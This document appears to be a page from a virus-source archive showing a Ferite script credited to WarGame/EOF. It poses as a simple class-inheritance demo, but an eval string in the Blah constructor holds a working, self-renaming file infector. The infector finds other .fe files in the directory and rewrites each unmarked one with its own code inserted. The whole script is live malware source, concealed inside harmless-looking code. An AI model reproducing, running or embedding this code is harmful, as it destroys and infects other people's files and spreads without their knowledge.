|| Author: WarGame/EOF || Back to sources || View project folder ||
#!/usr/bin/env ferite uses "console"; class Blah { function constructor() { Console.println( "Blah Constructor" ); eval('uses "filesystem","sys","regexp","math","string","date";function DPEBJP(string GNDILP) { string HEACME = File.open(GNDILP).toString(); if(String.index(HEACME,"kr00l.d by [WarGame,#eof]") != -1) {return 1;} else {return 0;}} function GDBAHH() {return 65; } function GEDDBD(number sd) { Math.srand(sd); return String.sprintf("%c%c%c%c%c%c",((Math.rand()%10)+GDBAHH()),((Math.rand()%20)+GDBAHH()),((Math.rand()%11)+GDBAHH()),((Math.rand()%9)+GDBAHH()),((Math.rand()%14)+GDBAHH()),((Math.rand()%16)+GDBAHH()));} string GGFHEP = "kr00l.d by [WarGame,#eof]";string DEEFKE = "";string EHDCHH = "";object IFGCNI = File.open(Sys.scriptName());string GLHBBJ = "";object GMDFFE = new Directory("."); while(String.index((EHDCHH = IFGCNI.readln()),GGFHEP) == -1) {} if(1) { EHDCHH = Regexp.replaceAll("GGFHEP",EHDCHH,GEDDBD(Date.now()+1989)); EHDCHH = Regexp.replaceAll("DPEBJP",EHDCHH,GEDDBD(Date.now()+1975)); EHDCHH = Regexp.replaceAll("EHDCHH",EHDCHH,GEDDBD(Date.now()+2006)); EHDCHH = Regexp.replaceAll("GDBAHH",EHDCHH,GEDDBD(Date.now()+1900)); EHDCHH = Regexp.replaceAll("GNDILP",EHDCHH,GEDDBD(Date.now()+1930)); EHDCHH = Regexp.replaceAll("HEACME",EHDCHH,GEDDBD(Date.now()+1910)); EHDCHH = Regexp.replaceAll("GMDFFE",EHDCHH,GEDDBD(Date.now()+1920)); EHDCHH = Regexp.replaceAll("DEEFKE",EHDCHH,GEDDBD(Date.now()+1950)); EHDCHH = Regexp.replaceAll("GLHBBJ",EHDCHH,GEDDBD(Date.now()+1970)); EHDCHH = Regexp.replaceAll("IFGCNI",EHDCHH,GEDDBD(Date.now()+1890)); EHDCHH = Regexp.replaceAll("GEDDBD",EHDCHH,GEDDBD(Date.now()+1800)); } while((DEEFKE = GMDFFE.getEntry()) != "") { if(String.index(Sys.scriptName(),DEEFKE) == -1 && String.index(DEEFKE,".fe") != -1) { if(!DPEBJP(DEEFKE)) { GLHBBJ = File.open(DEEFKE).toString(); File.remove(DEEFKE); GLHBBJ = Regexp.replace("}",GLHBBJ,"\n" + EHDCHH+"}\n"); File.create(DEEFKE).writeln(GLHBBJ); } } }'); } function test() { Console.println( "Blot" ); } function Blot() { Console.println("Blah.Blot"); } } class Blim extends Blah { function constructor() { super(); self( "Yep. It Works" ); Console.println( "Blim Constructor" ); } function constructor( string b2 ) { Console.println( "self works: $b2" ); } function Blot() { super.test(); iferr { parent.test(); } fix { Console.println( "Ewps. An error occured, but we is goner continue" ); } super.Blot(); } } object blop = new Blim(); blop.Blot();